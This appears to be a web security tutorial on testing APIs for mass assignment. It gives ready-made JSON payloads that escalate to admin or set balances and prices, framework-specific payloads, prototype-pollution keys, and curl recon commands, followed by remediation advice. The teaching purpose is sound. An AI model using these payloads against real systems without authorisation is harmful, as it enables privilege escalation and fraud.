Mass Assignment Testing
Mass assignment (also known as Auto-Binding) occurs when an API endpoint automatically binds client input to internal object properties without filtering. This allows attackers to modify properties they shouldn't have access to, such as `isAdmin`, `balance`, or `role`.
Testing Techniques
The goal is to identify hidden fields and try to modify them.
1. Observe API Response
Look for fields in the response that are not present in the request documentation, such as role, isVerified, or credits.
Request:
GET /api/users/1001GET /api/users/1001Response:
{
"id": 1001,
"name": "John",
"email": "john@example.com",
"role": "user",
"isVerified": true,
"credits": 100,
"internalId": "abc123"
}{
"id": 1001,
"name": "John",
"email": "john@example.com",
"role": "user",
"isVerified": true,
"credits": 100,
"internalId": "abc123"
}2. Attempt Modification
Try to include these fields in a PUT or POST request with elevated values.
PUT /api/users/1001
Content-Type: application/json
{
"name": "John",
"role": "admin",
"isVerified": true,
"credits": 99999
}PUT /api/users/1001
Content-Type: application/json
{
"name": "John",
"role": "admin",
"isVerified": true,
"credits": 99999
}3. Common Parameters
Even if you don't see them in the response, try guessing common administrative parameter names.
{
"role": "admin",
"isAdmin": true,
"admin": true,
"is_admin": true,
"user_type": "admin",
"userType": "admin",
"privilege": "admin",
"permissions": ["admin"],
"access": "full",
"verified": true,
"email_verified": true,
"active": true,
"approved": true,
"credits": 99999,
"balance": 99999,
"discount": 100,
"price": 0
}{
"role": "admin",
"isAdmin": true,
"admin": true,
"is_admin": true,
"user_type": "admin",
"userType": "admin",
"privilege": "admin",
"permissions": ["admin"],
"access": "full",
"verified": true,
"email_verified": true,
"active": true,
"approved": true,
"credits": 99999,
"balance": 99999,
"discount": 100,
"price": 0
}4. Registration Testing
Registration endpoints are often vulnerable to mass assignment.
POST /api/register
Content-Type: application/json
{
"username": "attacker",
"password": "password123",
"email": "attacker@evil.com",
"role": "admin"
}POST /api/register
Content-Type: application/json
{
"username": "attacker",
"password": "password123",
"email": "attacker@evil.com",
"role": "admin"
}5. Nested Objects
Don't forget to test nested objects.
{
"user": {
"role": "admin"
},
"profile": {
"isAdmin": true
}
}{
"user": {
"role": "admin"
},
"profile": {
"isAdmin": true
}
}Response Diffing — Swagger vs Reality
Compare the API documentation (OpenAPI/Swagger) with actual responses to find undocumented fields.
# 1. Download the OpenAPI spec
curl -s https://target.com/swagger.json | jq '.paths["/api/users"].get.responses["200"]' > documented.json
# 2. Hit the actual endpoint
curl -s -H "Authorization: Bearer $TOKEN" https://target.com/api/users/1 > actual.json
# 3. Diff — any field in actual but NOT in documented is a mass assignment candidate
diff <(jq -S keys actual.json) <(jq -S keys documented.json)# 1. Download the OpenAPI spec
curl -s https://target.com/swagger.json | jq '.paths["/api/users"].get.responses["200"]' > documented.json
# 2. Hit the actual endpoint
curl -s -H "Authorization: Bearer $TOKEN" https://target.com/api/users/1 > actual.json
# 3. Diff — any field in actual but NOT in documented is a mass assignment candidate
diff <(jq -S keys actual.json) <(jq -S keys documented.json)Framework-Specific Payloads
Different frameworks handle property binding differently. Tailor your payloads accordingly.
Ruby on Rails
# Rails params — try nested attributes
PATCH /api/users/1
{"user": {"role": "admin", "admin": true}}
# Rails accepts_nested_attributes_for
{"user": {"profile_attributes": {"verified": true}}}# Rails params — try nested attributes
PATCH /api/users/1
{"user": {"role": "admin", "admin": true}}
# Rails accepts_nested_attributes_for
{"user": {"profile_attributes": {"verified": true}}}Django / DRF
# Django REST Framework — try fields excluded from serializer
PATCH /api/users/1/
{"is_staff": true, "is_superuser": true}
# Nested serializers
{"profile": {"is_verified": true, "credit_balance": 99999}}# Django REST Framework — try fields excluded from serializer
PATCH /api/users/1/
{"is_staff": true, "is_superuser": true}
# Nested serializers
{"profile": {"is_verified": true, "credit_balance": 99999}}Node.js / Express + Mongoose
# Mongoose models — try schema fields not in the form
PUT /api/users/1
{"role": "admin", "__v": 0}
# Prototype pollution via JSON merge
{"__proto__": {"isAdmin": true}}
{"constructor": {"prototype": {"isAdmin": true}}}# Mongoose models — try schema fields not in the form
PUT /api/users/1
{"role": "admin", "__v": 0}
# Prototype pollution via JSON merge
{"__proto__": {"isAdmin": true}}
{"constructor": {"prototype": {"isAdmin": true}}}Prototype Pollution
__proto__ or constructor.prototype can escalate
mass assignment into RCE. If the API accepts these keys without sanitization, it may pollute the entire Object prototype —
affecting all objects in the process. Always test for this in JavaScript-based backends.
Mass Assignment Attack Flow
Remediation
Defense Strategies
- Avoid using functions that automatically bind client input to code variables or internal objects.
- Explicitly define a whitelist of allowed properties that can be updated by the client (e.g., DTOs).
- Set sensitive properties like `isAdmin` or `role` only on the server side.
- Use `readOnly` properties in your API schema definitions.
- In Rails, use
strong_parameters. In Django, define explicitfieldsin serializers. In Express, usepick()to whitelist fields. - Strip
__proto__andconstructorkeys from all incoming JSON to prevent prototype pollution.
Finding Mass Assignment Targets
isAdmin, role, balance, verified, credits.
Try adding them to POST/PATCH bodies and observe if the server accepts and applies them.
Mass Assignment Practice
Exploit object property injection vulnerabilities in deliberately vulnerable API environments.